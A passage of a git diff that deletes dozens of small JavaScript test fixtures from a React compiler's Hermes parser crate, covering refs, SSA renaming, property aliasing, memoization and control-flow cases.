-  const ref = useRef();
-  let x = () => {
-    console.log(ref.current.x);
-  };
-
-  return <VideoList videos={x} />;
-}
diff --git a/compiler/crates/react_hermes_parser/tests/fixtures/ref-current-not-added-to-dep-2.js b/compiler/crates/react_hermes_parser/tests/fixtures/ref-current-not-added-to-dep-2.js
deleted file mode 100644
index a31a11fd3e81..000000000000
--- a/compiler/crates/react_hermes_parser/tests/fixtures/ref-current-not-added-to-dep-2.js
+++ /dev/null
@@ -1,7 +0,0 @@
-// @validateRefAccessDuringRender false
-function Foo({ a }) {
-  const ref = useRef();
-  const x = { a, val: ref.current };
-
-  return <VideoList videos={x} />;
-}
diff --git a/compiler/crates/react_hermes_parser/tests/fixtures/ref-current-not-added-to-dep.js b/compiler/crates/react_hermes_parser/tests/fixtures/ref-current-not-added-to-dep.js
deleted file mode 100644
index 0b08ef7b87b5..000000000000
--- a/compiler/crates/react_hermes_parser/tests/fixtures/ref-current-not-added-to-dep.js
+++ /dev/null
@@ -1,8 +0,0 @@
-function VideoTab() {
-  const ref = useRef();
-  let x = () => {
-    console.log(ref.current);
-  };
-
-  return <VideoList videos={x} />;
-}
diff --git a/compiler/crates/react_hermes_parser/tests/fixtures/ref-current-optional-field-no-added-to-dep.js b/compiler/crates/react_hermes_parser/tests/fixtures/ref-current-optional-field-no-added-to-dep.js
deleted file mode 100644
index 92b26a8f9ce6..000000000000
--- a/compiler/crates/react_hermes_parser/tests/fixtures/ref-current-optional-field-no-added-to-dep.js
+++ /dev/null
@@ -1,8 +0,0 @@
-function VideoTab() {
-  const ref = useRef();
-  let x = () => {
-    ref.current?.x;
-  };
-
-  return <VideoList videos={x} />;
-}
diff --git a/compiler/crates/react_hermes_parser/tests/fixtures/ref-current-write-not-added-to-dep.js b/compiler/crates/react_hermes_parser/tests/fixtures/ref-current-write-not-added-to-dep.js
deleted file mode 100644
index 00b85bb6820a..000000000000
--- a/compiler/crates/react_hermes_parser/tests/fixtures/ref-current-write-not-added-to-dep.js
+++ /dev/null
@@ -1,8 +0,0 @@
-function VideoTab() {
-  const ref = useRef();
-  let x = () => {
-    ref.current = 1;
-  };
-
-  return <VideoList videos={x} />;
-}
diff --git a/compiler/crates/react_hermes_parser/tests/fixtures/ref-in-effect.js b/compiler/crates/react_hermes_parser/tests/fixtures/ref-in-effect.js
deleted file mode 100644
index 00b960cabe40..000000000000
--- a/compiler/crates/react_hermes_parser/tests/fixtures/ref-in-effect.js
+++ /dev/null
@@ -1,11 +0,0 @@
-function Component(props) {
-  const ref = useRef(null);
-  const onChange = (e) => {
-    const newValue = e.target.value ?? ref.current;
-    ref.current = newValue;
-  };
-  useEffect(() => {
-    console.log(ref.current);
-  });
-  return <Foo onChange={onChange} />;
-}
diff --git a/compiler/crates/react_hermes_parser/tests/fixtures/regexp-literal.js b/compiler/crates/react_hermes_parser/tests/fixtures/regexp-literal.js
deleted file mode 100644
index 9b22bb7f951d..000000000000
--- a/compiler/crates/react_hermes_parser/tests/fixtures/regexp-literal.js
+++ /dev/null
@@ -1,10 +0,0 @@
-function Component(props) {
-  const pattern = /foo/g;
-  const value = makeValue();
-  // We treat RegExp instances as mutable objects (bc they are)
-  // so by default we assume this could be mutating `value`:
-  if (pattern.test(value)) {
-    return <div>{value}</div>;
-  }
-  return <div>Default</div>;
-}
diff --git a/compiler/crates/react_hermes_parser/tests/fixtures/remove-memoization-kitchen-sink.js b/compiler/crates/react_hermes_parser/tests/fixtures/remove-memoization-kitchen-sink.js
deleted file mode 100644
index e016e5f4ab0a..000000000000
--- a/compiler/crates/react_hermes_parser/tests/fixtures/remove-memoization-kitchen-sink.js
+++ /dev/null
@@ -1,12 +0,0 @@
-// @disableAllMemoization true
-function Component(props) {
-  const [x, setX] = useState(() => initializeState(props));
-  const onChange = useCallback((e) => {
-    setX(e.target.value);
-  });
-  const object = { x, onChange };
-  return useMemo(() => {
-    const { x, onChange } = object;
-    return <input value={x} onChange={onChange} />;
-  }, [x]);
-}
diff --git a/compiler/crates/react_hermes_parser/tests/fixtures/repro-reassign-to-variable-without-mutable-range.js b/compiler/crates/react_hermes_parser/tests/fixtures/repro-reassign-to-variable-without-mutable-range.js
deleted file mode 100644
index 2ffd6efb9f45..000000000000
--- a/compiler/crates/react_hermes_parser/tests/fixtures/repro-reassign-to-variable-without-mutable-range.js
+++ /dev/null
@@ -1,11 +0,0 @@
-// @debug
-function Component(a, b) {
-  let x = [];
-  let y = [];
-  let z = foo(a);
-  if (FLAG) {
-    x = bar(z);
-    y = baz(b);
-  }
-  return [x, y];
-}
diff --git a/compiler/crates/react_hermes_parser/tests/fixtures/repro.js b/compiler/crates/react_hermes_parser/tests/fixtures/repro.js
deleted file mode 100644
index 37134b73d0cb..000000000000
--- a/compiler/crates/react_hermes_parser/tests/fixtures/repro.js
+++ /dev/null
@@ -1,14 +0,0 @@
-function Component(props) {
-  const item = props.item;
-  const thumbnails = [];
-  const baseVideos = getBaseVideos(item);
-  useMemo(() => {
-    baseVideos.forEach((video) => {
-      const baseVideo = video.hasBaseVideo;
-      if (Boolean(baseVideo)) {
-        thumbnails.push({ extraVideo: true });
-      }
-    });
-  });
-  return <FlatList baseVideos={baseVideos} items={thumbnails} />;
-}
diff --git a/compiler/crates/react_hermes_parser/tests/fixtures/return-conditional.js b/compiler/crates/react_hermes_parser/tests/fixtures/return-conditional.js
deleted file mode 100644
index 81d81e12c146..000000000000
--- a/compiler/crates/react_hermes_parser/tests/fixtures/return-conditional.js
+++ /dev/null
@@ -1,7 +0,0 @@
-function foo(a, b) {
-  if (a == null) {
-    return null;
-  } else {
-    return b;
-  }
-}
diff --git a/compiler/crates/react_hermes_parser/tests/fixtures/return-undefined.js b/compiler/crates/react_hermes_parser/tests/fixtures/return-undefined.js
deleted file mode 100644
index 892e84a49dcd..000000000000
--- a/compiler/crates/react_hermes_parser/tests/fixtures/return-undefined.js
+++ /dev/null
@@ -1,6 +0,0 @@
-function Component(props) {
-  if (props.cond) {
-    return undefined;
-  }
-  return props.value;
-}
diff --git a/compiler/crates/react_hermes_parser/tests/fixtures/reverse-postorder.js b/compiler/crates/react_hermes_parser/tests/fixtures/reverse-postorder.js
deleted file mode 100644
index ce5bb33bd1fc..000000000000
--- a/compiler/crates/react_hermes_parser/tests/fixtures/reverse-postorder.js
+++ /dev/null
@@ -1,27 +0,0 @@
-function Component(props) {
-  let x;
-  if (props.cond) {
-    switch (props.test) {
-      case 0: {
-        x = props.v0;
-        break;
-      }
-      case 1: {
-        x = props.v1;
-        break;
-      }
-      case 2: {
-      }
-      default: {
-        x = props.v2;
-      }
-    }
-  } else {
-    if (props.cond2) {
-      x = props.b;
-    } else {
-      x = props.c;
-    }
-  }
-  x;
-}
diff --git a/compiler/crates/react_hermes_parser/tests/fixtures/same-variable-as-dep-and-redeclare-maybe-frozen.js b/compiler/crates/react_hermes_parser/tests/fixtures/same-variable-as-dep-and-redeclare-maybe-frozen.js
deleted file mode 100644
index 67149fb3f357..000000000000
--- a/compiler/crates/react_hermes_parser/tests/fixtures/same-variable-as-dep-and-redeclare-maybe-frozen.js
+++ /dev/null
@@ -1,35 +0,0 @@
-// note: comments are for the ideal scopes, not what is currently
-// emitted
-function foo(props) {
-  // scope 0: deps=[props.a] decl=[x] reassign=none
-  let x = [];
-  x.push(props.a);
-
-  // scope 1: deps=[x] decl=[header] reassign=none
-  const header = props.showHeader ? <div>{x}</div> : null;
-
-  // scope 2:
-  // deps=[x, props.b, props.c]
-  // decl=none
-  // reassign=[x]
-  const y = [x]; // y depends on the earlier x
-  x = []; // x reassigned
-  y.push(props.b); // interleaved mutation of x/y
-  x.push(props.c); // interleaved mutation
-
-  // scope 3 ...
-  const content = (
-    <div>
-      {x}
-      {y}
-    </div>
-  );
-
-  // scope 4 ...
-  return (
-    <>
-      {header}
-      {content}
-    </>
-  );
-}
diff --git a/compiler/crates/react_hermes_parser/tests/fixtures/same-variable-as-dep-and-redeclare.js b/compiler/crates/react_hermes_parser/tests/fixtures/same-variable-as-dep-and-redeclare.js
deleted file mode 100644
index 6d8c5cb3f937..000000000000
--- a/compiler/crates/react_hermes_parser/tests/fixtures/same-variable-as-dep-and-redeclare.js
+++ /dev/null
@@ -1,35 +0,0 @@
-// note: comments are for the ideal scopes, not what is currently
-// emitted
-function foo(props) {
-  // scope 0: deps=[props.a] decl=[x] reassign=none
-  let x = [];
-  x.push(props.a);
-
-  // scope 1: deps=[x] decl=[header] reassign=none
-  const header = <div>{x}</div>;
-
-  // scope 2:
-  // deps=[x, props.b, props.c]
-  // decl=none
-  // reassign=[x]
-  const y = [x]; // y depends on the earlier x
-  x = []; // x reassigned
-  y.push(props.b); // interleaved mutation of x/y
-  x.push(props.c); // interleaved mutation
-
-  // scope 3 ...
-  const content = (
-    <div>
-      {x}
-      {y}
-    </div>
-  );
-
-  // scope 4 ...
-  return (
-    <>
-      {header}
-      {content}
-    </>
-  );
-}
diff --git a/compiler/crates/react_hermes_parser/tests/fixtures/sequence-expression.js b/compiler/crates/react_hermes_parser/tests/fixtures/sequence-expression.js
deleted file mode 100644
index fd14490f0078..000000000000
--- a/compiler/crates/react_hermes_parser/tests/fixtures/sequence-expression.js
+++ /dev/null
@@ -1,9 +0,0 @@
-function sequence(props) {
-  let x = (null, Math.max(1, 2), foo());
-  while ((foo(), true)) {
-    x = (foo(), 2);
-  }
-  return x;
-}
-
-function foo() {}
diff --git a/compiler/crates/react_hermes_parser/tests/fixtures/sequentially-constant-progagatable-if-test-conditions.js b/compiler/crates/react_hermes_parser/tests/fixtures/sequentially-constant-progagatable-if-test-conditions.js
deleted file mode 100644
index 8b293b8ee58d..000000000000
--- a/compiler/crates/react_hermes_parser/tests/fixtures/sequentially-constant-progagatable-if-test-conditions.js
+++ /dev/null
@@ -1,34 +0,0 @@
-function Component() {
-  let a = 1;
-
-  let b;
-  if (a === 1) {
-    b = true;
-  } else {
-    b = false;
-  }
-
-  let c;
-  if (b) {
-    c = "hello";
-  } else {
-    c = null;
-  }
-
-  let d;
-  if (c === "hello") {
-    d = 42.0;
-  } else {
-    d = 42.001;
-  }
-
-  let e;
-  if (d === 42.0) {
-    e = "ok";
-  } else {
-    e = "nope";
-  }
-
-  // should constant-propagate to "ok"
-  return e;
-}
diff --git a/compiler/crates/react_hermes_parser/tests/fixtures/simple-alias.js b/compiler/crates/react_hermes_parser/tests/fixtures/simple-alias.js
deleted file mode 100644
index f57584af6944..000000000000
--- a/compiler/crates/react_hermes_parser/tests/fixtures/simple-alias.js
+++ /dev/null
@@ -1,11 +0,0 @@
-function mutate() {}
-function foo() {
-  let a = {};
-  let b = {};
-  let c = {};
-  a = b;
-  b = c;
-  c = a;
-  mutate(a, b);
-  return c;
-}
diff --git a/compiler/crates/react_hermes_parser/tests/fixtures/simple-function-1.js b/compiler/crates/react_hermes_parser/tests/fixtures/simple-function-1.js
deleted file mode 100644
index 0bc8c500b085..000000000000
--- a/compiler/crates/react_hermes_parser/tests/fixtures/simple-function-1.js
+++ /dev/null
@@ -1,6 +0,0 @@
-function component() {
-  let x = function (a) {
-    a.foo();
-  };
-  return x;
-}
diff --git a/compiler/crates/react_hermes_parser/tests/fixtures/simple-scope.js b/compiler/crates/react_hermes_parser/tests/fixtures/simple-scope.js
deleted file mode 100644
index 39357210b5f7..000000000000
--- a/compiler/crates/react_hermes_parser/tests/fixtures/simple-scope.js
+++ /dev/null
@@ -1,4 +0,0 @@
-function foo(a) {
-  const x = [a.b];
-  return x;
-}
diff --git a/compiler/crates/react_hermes_parser/tests/fixtures/simple.js b/compiler/crates/react_hermes_parser/tests/fixtures/simple.js
deleted file mode 100644
index e80495313470..000000000000
--- a/compiler/crates/react_hermes_parser/tests/fixtures/simple.js
+++ /dev/null
@@ -1,6 +0,0 @@
-export default function foo(x, y) {
-  if (x) {
-    return foo(false, y);
-  }
-  return [y * 10];
-}
diff --git a/compiler/crates/react_hermes_parser/tests/fixtures/sketchy-code-exhaustive-deps.js b/compiler/crates/react_hermes_parser/tests/fixtures/sketchy-code-exhaustive-deps.js
deleted file mode 100644
index ebfb84375e2e..000000000000
--- a/compiler/crates/react_hermes_parser/tests/fixtures/sketchy-code-exhaustive-deps.js
+++ /dev/null
@@ -1,11 +0,0 @@
-function Component() {
-  const item = [];
-  const foo = useCallback(
-    () => {
-      item.push(1);
-    }, // eslint-disable-next-line react-hooks/exhaustive-deps
-    []
-  );
-
-  return <Button foo={foo} />;
-}
diff --git a/compiler/crates/react_hermes_parser/tests/fixtures/sketchy-code-rules-of-hooks.js b/compiler/crates/react_hermes_parser/tests/fixtures/sketchy-code-rules-of-hooks.js
deleted file mode 100644
index 365284b7b867..000000000000
--- a/compiler/crates/react_hermes_parser/tests/fixtures/sketchy-code-rules-of-hooks.js
+++ /dev/null
@@ -1,6 +0,0 @@
-/* eslint-disable react-hooks/rules-of-hooks */
-function lowercasecomponent() {
-  const x = [];
-  return <div>{x}</div>;
-}
-/* eslint-enable react-hooks/rules-of-hooks */
diff --git a/compiler/crates/react_hermes_parser/tests/fixtures/ssa-arrayexpression.js b/compiler/crates/react_hermes_parser/tests/fixtures/ssa-arrayexpression.js
deleted file mode 100644
index 8acfd9aa7dc5..000000000000
--- a/compiler/crates/react_hermes_parser/tests/fixtures/ssa-arrayexpression.js
+++ /dev/null
@@ -1,6 +0,0 @@
-function Component(props) {
-  const a = 1;
-  const b = 2;
-  const x = [a, b];
-  return x;
-}
diff --git a/compiler/crates/react_hermes_parser/tests/fixtures/ssa-call-jsx-2.js b/compiler/crates/react_hermes_parser/tests/fixtures/ssa-call-jsx-2.js
deleted file mode 100644
index 6d1ad38ab34b..000000000000
--- a/compiler/crates/react_hermes_parser/tests/fixtures/ssa-call-jsx-2.js
+++ /dev/null
@@ -1,13 +0,0 @@
-// @Pass runMutableRangeAnalysis
-function foo() {}
-
-function Component(props) {
-  const a = [];
-  const b = {};
-  foo(a, b);
-  if (foo()) {
-    let _ = <div a={a} />;
-  }
-  foo(a, b);
-  return <div a={a} b={b} />;
-}
diff --git a/compiler/crates/react_hermes_parser/tests/fixtures/ssa-call-jsx.js b/compiler/crates/react_hermes_parser/tests/fixtures/ssa-call-jsx.js
deleted file mode 100644
index 3e95b19d453d..000000000000
--- a/compiler/crates/react_hermes_parser/tests/fixtures/ssa-call-jsx.js
+++ /dev/null
@@ -1,10 +0,0 @@
-function foo() {}
-
-function Component(props) {
-  const a = [];
-  const b = {};
-  foo(a, b);
-  let _ = <div a={a} />;
-  foo(a, b);
-  return <div a={a} b={b} />;
-}
diff --git a/compiler/crates/react_hermes_parser/tests/fixtures/ssa-cascading-eliminated-phis.js b/compiler/crates/react_hermes_parser/tests/fixtures/ssa-cascading-eliminated-phis.js
deleted file mode 100644
index 780282f15708..000000000000
--- a/compiler/crates/react_hermes_parser/tests/fixtures/ssa-cascading-eliminated-phis.js
+++ /dev/null
@@ -1,15 +0,0 @@
-function Component(props) {
-  let x = 0;
-  const values = [];
-  const y = props.a || props.b;
-  values.push(y);
-  if (props.c) {
-    x = 1;
-  }
-  values.push(x);
-  if (props.d) {
-    x = 2;
-  }
-  values.push(x);
-  return values;
-}
diff --git a/compiler/crates/react_hermes_parser/tests/fixtures/ssa-complex-multiple-if.js b/compiler/crates/react_hermes_parser/tests/fixtures/ssa-complex-multiple-if.js
deleted file mode 100644
index dd6b6753a3d2..000000000000
--- a/compiler/crates/react_hermes_parser/tests/fixtures/ssa-complex-multiple-if.js
+++ /dev/null
@@ -1,12 +0,0 @@
-function foo() {
-  let x = 1;
-  let y = 2;
-  if (y === 2) {
-    x = 3;
-  }
-
-  if (y === 3) {
-    x = 5;
-  }
-  y = x;
-}
diff --git a/compiler/crates/react_hermes_parser/tests/fixtures/ssa-complex-single-if.js b/compiler/crates/react_hermes_parser/tests/fixtures/ssa-complex-single-if.js
deleted file mode 100644
index 139a937d14cb..000000000000
--- a/compiler/crates/react_hermes_parser/tests/fixtures/ssa-complex-single-if.js
+++ /dev/null
@@ -1,9 +0,0 @@
-function foo() {
-  let x = 1;
-  let y = 2;
-  if (y === 2) {
-    x = 3;
-  }
-
-  y = x;
-}
diff --git a/compiler/crates/react_hermes_parser/tests/fixtures/ssa-for-of.js b/compiler/crates/react_hermes_parser/tests/fixtures/ssa-for-of.js
deleted file mode 100644
index 3d040dd2a05f..000000000000
--- a/compiler/crates/react_hermes_parser/tests/fixtures/ssa-for-of.js
+++ /dev/null
@@ -1,10 +0,0 @@
-function foo(cond) {
-  let items = [];
-  for (const item of items) {
-    let y = 0;
-    if (cond) {
-      y = 1;
-    }
-  }
-  return items;
-}
diff --git a/compiler/crates/react_hermes_parser/tests/fixtures/ssa-for-trivial-update.js b/compiler/crates/react_hermes_parser/tests/fixtures/ssa-for-trivial-update.js
deleted file mode 100644
index ec6ed5cc751b..000000000000
--- a/compiler/crates/react_hermes_parser/tests/fixtures/ssa-for-trivial-update.js
+++ /dev/null
@@ -1,7 +0,0 @@
-function foo() {
-  let x = 1;
-  for (let i = 0; i < 10; /* update is intentally a single identifier */ i) {
-    x += 1;
-  }
-  return x;
-}
diff --git a/compiler/crates/react_hermes_parser/tests/fixtures/ssa-for.js b/compiler/crates/react_hermes_parser/tests/fixtures/ssa-for.js
deleted file mode 100644
index 14978ef64528..000000000000
--- a/compiler/crates/react_hermes_parser/tests/fixtures/ssa-for.js
+++ /dev/null
@@ -1,7 +0,0 @@
-function foo() {
-  let x = 1;
-  for (let i = 0; i < 10; i++) {
-    x += 1;
-  }
-  return x;
-}
diff --git a/compiler/crates/react_hermes_parser/tests/fixtures/ssa-if-else.js b/compiler/crates/react_hermes_parser/tests/fixtures/ssa-if-else.js
deleted file mode 100644
index d5b7bb02ed97..000000000000
--- a/compiler/crates/react_hermes_parser/tests/fixtures/ssa-if-else.js
+++ /dev/null
@@ -1,10 +0,0 @@
-function foo() {
-  let x = 1;
-  let y = 2;
-
-  if (y) {
-    let z = x + y;
-  } else {
-    let z = x;
-  }
-}
diff --git a/compiler/crates/react_hermes_parser/tests/fixtures/ssa-leave-case.js b/compiler/crates/react_hermes_parser/tests/fixtures/ssa-leave-case.js
deleted file mode 100644
index fce3a15209d6..000000000000
--- a/compiler/crates/react_hermes_parser/tests/fixtures/ssa-leave-case.js
+++ /dev/null
@@ -1,14 +0,0 @@
-function Component(props) {
-  let x = [];
-  let y;
-  if (props.p0) {
-    x.push(props.p1);
-    y = x;
-  }
-  return (
-    <Component>
-      {x}
-      {y}
-    </Component>
-  );
-}
diff --git a/compiler/crates/react_hermes_parser/tests/fixtures/ssa-multiple-phis.js b/compiler/crates/react_hermes_parser/tests/fixtures/ssa-multiple-phis.js
deleted file mode 100644
index a5a65256d010..000000000000
--- a/compiler/crates/react_hermes_parser/tests/fixtures/ssa-multiple-phis.js
+++ /dev/null
@@ -1,19 +0,0 @@
-function foo(a, b, c, d) {
-  let x = 0;
-  if (true) {
-    if (true) {
-      x = a;
-    } else {
-      x = b;
-    }
-    x;
-  } else {
-    if (true) {
-      x = c;
-    } else {
-      x = d;
-    }
-    x;
-  }
-  return x;
-}
diff --git a/compiler/crates/react_hermes_parser/tests/fixtures/ssa-nested-loops-no-reassign.js b/compiler/crates/react_hermes_parser/tests/fixtures/ssa-nested-loops-no-reassign.js
deleted file mode 100644
index c4453238c2d1..000000000000
--- a/compiler/crates/react_hermes_parser/tests/fixtures/ssa-nested-loops-no-reassign.js
+++ /dev/null
@@ -1,12 +0,0 @@
-// @xonly
-function foo(a, b, c) {
-  let x = 0;
-  while (a) {
-    while (b) {
-      while (c) {
-        x + 1;
-      }
-    }
-  }
-  return x;
-}
diff --git a/compiler/crates/react_hermes_parser/tests/fixtures/ssa-nested-partial-phi.js b/compiler/crates/react_hermes_parser/tests/fixtures/ssa-nested-partial-phi.js
deleted file mode 100644
index 399b4b7fc4a5..000000000000
--- a/compiler/crates/react_hermes_parser/tests/fixtures/ssa-nested-partial-phi.js
+++ /dev/null
@@ -1,10 +0,0 @@
-function foo(a, b, c) {
-  let x = a;
-  if (b) {
-    if (c) {
-      x = c;
-    }
-    // TODO: move the return to the end of the function
-    return x;
-  }
-}
diff --git a/compiler/crates/react_hermes_parser/tests/fixtures/ssa-nested-partial-reassignment.js b/compiler/crates/react_hermes_parser/tests/fixtures/ssa-nested-partial-reassignment.js
deleted file mode 100644
index 00574a537cba..000000000000
--- a/compiler/crates/react_hermes_parser/tests/fixtures/ssa-nested-partial-reassignment.js
+++ /dev/null
@@ -1,11 +0,0 @@
-function foo(a, b, c, d, e) {
-  let x = null;
-  if (a) {
-    x = b;
-  } else {
-    if (c) {
-      x = d;
-    }
-  }
-  return x;
-}
diff --git a/compiler/crates/react_hermes_parser/tests/fixtures/ssa-newexpression.js b/compiler/crates/react_hermes_parser/tests/fixtures/ssa-newexpression.js
deleted file mode 100644
index 0f2d6972e8db..000000000000
--- a/compiler/crates/react_hermes_parser/tests/fixtures/ssa-newexpression.js
+++ /dev/null
@@ -1,8 +0,0 @@
-function Foo() {}
-
-function Component(props) {
-  const a = [];
-  const b = {};
-  let c = new Foo(a, b);
-  return c;
-}
diff --git a/compiler/crates/react_hermes_parser/tests/fixtures/ssa-non-empty-initializer.js b/compiler/crates/react_hermes_parser/tests/fixtures/ssa-non-empty-initializer.js
deleted file mode 100644
index bac6d77518ed..000000000000
--- a/compiler/crates/react_hermes_parser/tests/fixtures/ssa-non-empty-initializer.js
+++ /dev/null
@@ -1,9 +0,0 @@
-function foo(a, b) {
-  let x = [];
-  if (a) {
-    x = 1;
-  }
-
-  let y = x;
-  return y;
-}
diff --git a/compiler/crates/react_hermes_parser/tests/fixtures/ssa-objectexpression-phi.js b/compiler/crates/react_hermes_parser/tests/fixtures/ssa-objectexpression-phi.js
deleted file mode 100644
index a0a481fabdbb..000000000000
--- a/compiler/crates/react_hermes_parser/tests/fixtures/ssa-objectexpression-phi.js
+++ /dev/null
@@ -1,13 +0,0 @@
-function foo() {
-  let x = 1;
-  let y = 2;
-
-  if (x > 1) {
-    x = 2;
-  } else {
-    y = 3;
-  }
-
-  let t = { x: x, y: y };
-  return t;
-}
diff --git a/compiler/crates/react_hermes_parser/tests/fixtures/ssa-objectexpression.js b/compiler/crates/react_hermes_parser/tests/fixtures/ssa-objectexpression.js
deleted file mode 100644
index c4d01b71aef2..000000000000
--- a/compiler/crates/react_hermes_parser/tests/fixtures/ssa-objectexpression.js
+++ /dev/null
@@ -1,6 +0,0 @@
-function Component(props) {
-  const a = 1;
-  const b = 2;
-  const x = { a: a, b: b };
-  return x;
-}
diff --git a/compiler/crates/react_hermes_parser/tests/fixtures/ssa-property-alias-alias-mutate-if.js b/compiler/crates/react_hermes_parser/tests/fixtures/ssa-property-alias-alias-mutate-if.js
deleted file mode 100644
index 8c06f8e61b0f..000000000000
--- a/compiler/crates/react_hermes_parser/tests/fixtures/ssa-property-alias-alias-mutate-if.js
+++ /dev/null
@@ -1,13 +0,0 @@
-function foo(a) {
-  const b = {};
-  const x = b;
-  if (a) {
-    let y = {};
-    x.y = y;
-  } else {
-    let z = {};
-    x.z = z;
-  }
-  mutate(b); // aliases x, y & z
-  return x;
-}
diff --git a/compiler/crates/react_hermes_parser/tests/fixtures/ssa-property-alias-if.js b/compiler/crates/react_hermes_parser/tests/fixtures/ssa-property-alias-if.js
deleted file mode 100644
index ccde4f5bdf37..000000000000
--- a/compiler/crates/react_hermes_parser/tests/fixtures/ssa-property-alias-if.js
+++ /dev/null
@@ -1,11 +0,0 @@
-function foo(a) {
-  const x = {};
-  if (a) {
-    let y = {};
-    x.y = y;
-  } else {
-    let z = {};
-    x.z = z;
-  }
-  return x;
-}
diff --git a/compiler/crates/react_hermes_parser/tests/fixtures/ssa-property-alias-mutate-if.js b/compiler/crates/react_hermes_parser/tests/fixtures/ssa-property-alias-mutate-if.js
deleted file mode 100644
index 5b9d993aee48..000000000000
--- a/compiler/crates/react_hermes_parser/tests/fixtures/ssa-property-alias-mutate-if.js
+++ /dev/null
@@ -1,12 +0,0 @@
-function foo(a) {
-  const x = {};
-  if (a) {
-    let y = {};
-    x.y = y;
-  } else {
-    let z = {};
-    x.z = z;
-  }
-  mutate(x);
-  return x;
-}
diff --git a/compiler/crates/react_hermes_parser/tests/fixtures/ssa-property-alias-mutate-inside-if.js b/compiler/crates/react_hermes_parser/tests/fixtures/ssa-property-alias-mutate-inside-if.js
deleted file mode 100644
index accbea2f51e5..000000000000
--- a/compiler/crates/react_hermes_parser/tests/fixtures/ssa-property-alias-mutate-inside-if.js
+++ /dev/null
@@ -1,12 +0,0 @@
-function foo(a) {
-  const x = {};
-  if (a) {
-    let y = {};
-    x.y = y;
-    mutate(y); // aliases x & y, but not z
-  } else {
-    let z = {};
-    x.z = z;
-  }
-  return x;
-}
diff --git a/compiler/crates/react_hermes_parser/tests/fixtures/ssa-property-alias-mutate.js b/compiler/crates/react_hermes_parser/tests/fixtures/ssa-property-alias-mutate.js
deleted file mode 100644
index ef6e62dee0f2..000000000000
--- a/compiler/crates/react_hermes_parser/tests/fixtures/ssa-property-alias-mutate.js
+++ /dev/null
@@ -1,10 +0,0 @@
-function foo() {
-  const a = {};
-  const x = a;
-
-  const y = {};
-  y.x = x;
-
-  mutate(a); // y & x are aliased to a
-  return y;
-}
diff --git a/compiler/crates/react_hermes_parser/tests/fixtures/ssa-property-call.js b/compiler/crates/react_hermes_parser/tests/fixtures/ssa-property-call.js
deleted file mode 100644
index d6e956ba32e1..000000000000
--- a/compiler/crates/react_hermes_parser/tests/fixtures/ssa-property-call.js
+++ /dev/null
@@ -1,6 +0,0 @@
-function foo() {
-  const x = [];
-  const y = { x: x };
-  y.x.push([]);
-  return y;
-}
diff --git a/compiler/crates/react_hermes_parser/tests/fixtures/ssa-property-mutate-2.js b/compiler/crates/react_hermes_parser/tests/fixtures/ssa-property-mutate-2.js
deleted file mode 100644
index e552c1570acc..000000000000
--- a/compiler/crates/react_hermes_parser/tests/fixtures/ssa-property-mutate-2.js
+++ /dev/null
@@ -1,7 +0,0 @@
-function foo() {
-  const x = [];
-  const y = {};
-  y.x = x;
-  mutate(x);
-  return y;
-}
diff --git a/compiler/crates/react_hermes_parser/tests/fixtures/ssa-property-mutate-alias.js b/compiler/crates/react_hermes_parser/tests/fixtures/ssa-property-mutate-alias.js
deleted file mode 100644
index e219836c308f..000000000000
--- a/compiler/crates/react_hermes_parser/tests/fixtures/ssa-property-mutate-alias.js
+++ /dev/null
@@ -1,10 +0,0 @@
-function foo() {
-  const a = {};
-  const y = a;
-  const x = [];
-
-  y.x = x;
-
-  mutate(a); // y & x are aliased to a
-  return y;
-}
diff --git a/compiler/crates/react_hermes_parser/tests/fixtures/ssa-property-mutate.js b/compiler/crates/react_hermes_parser/tests/fixtures/ssa-property-mutate.js
deleted file mode 100644
index 4058e82f8525..000000000000
--- a/compiler/crates/react_hermes_parser/tests/fixtures/ssa-property-mutate.js
+++ /dev/null
@@ -1,7 +0,0 @@
-function foo() {
-  const x = [];
-  const y = {};
-  y.x = x;
-  mutate(y);
-  return y;
-}
diff --git a/compiler/crates/react_hermes_parser/tests/fixtures/ssa-property.js b/compiler/crates/react_hermes_parser/tests/fixtures/ssa-property.js
deleted file mode 100644
index 248c6a423ec3..000000000000
--- a/compiler/crates/react_hermes_parser/tests/fixtures/ssa-property.js
+++ /dev/null
@@ -1,6 +0,0 @@
-function foo() {
-  const x = [];
-  const y = {};
-  y.x = x;
-  return y;
-}
diff --git a/compiler/crates/react_hermes_parser/tests/fixtures/ssa-reassign-in-rval.js b/compiler/crates/react_hermes_parser/tests/fixtures/ssa-reassign-in-rval.js
deleted file mode 100644
index 9126165e5986..000000000000
--- a/compiler/crates/react_hermes_parser/tests/fixtures/ssa-reassign-in-rval.js
+++ /dev/null
@@ -1,6 +0,0 @@
-// Forget should call the original x (x = foo()) to compute result
-function Component() {
-  let x = foo();
-  let result = x((x = bar()), 5);
-  return [result, x];
-}
diff --git a/compiler/crates/react_hermes_parser/tests/fixtures/ssa-reassign.js b/compiler/crates/react_hermes_parser/tests/fixtures/ssa-reassign.js
deleted file mode 100644
index ea96f4a74524..000000000000
--- a/compiler/crates/react_hermes_parser/tests/fixtures/ssa-reassign.js
+++ /dev/null
@@ -1,7 +0,0 @@
-function foo(a, b, c) {
-  let x = 0;
-  x = a;
-  x = b;
-  x = c;
-  return x;
-}
diff --git a/compiler/crates/react_hermes_parser/tests/fixtures/ssa-renaming-ternary-destruction-with-mutation.js b/compiler/crates/react_hermes_parser/tests/fixtures/ssa-renaming-ternary-destruction-with-mutation.js
deleted file mode 100644
index 71ebbc8147b9..000000000000
--- a/compiler/crates/react_hermes_parser/tests/fixtures/ssa-renaming-ternary-destruction-with-mutation.js
+++ /dev/null
@@ -1,7 +0,0 @@
-function foo(props) {
-  let x = [];
-  x.push(props.bar);
-  props.cond ? (({ x } = { x: {} }), ([x] = [[]]), x.push(props.foo)) : null;
-  mut(x);
-  return x;
-}
diff --git a/compiler/crates/react_hermes_parser/tests/fixtures/ssa-renaming-ternary-destruction.js b/compiler/crates/react_hermes_parser/tests/fixtures/ssa-renaming-ternary-destruction.js
deleted file mode 100644
index 8ef976554fa7..000000000000
--- a/compiler/crates/react_hermes_parser/tests/fixtures/ssa-renaming-ternary-destruction.js
+++ /dev/null
@@ -1,6 +0,0 @@
-function foo(props) {
-  let x = [];
-  x.push(props.bar);
-  props.cond ? (({ x } = { x: {} }), ([x] = [[]]), x.push(props.foo)) : null;
-  return x;
-}
diff --git a/compiler/crates/react_hermes_parser/tests/fixtures/ssa-renaming-ternary-with-mutation.js b/compiler/crates/react_hermes_parser/tests/fixtures/ssa-renaming-ternary-with-mutation.js
deleted file mode 100644
index 5dde2fea8c0d..000000000000
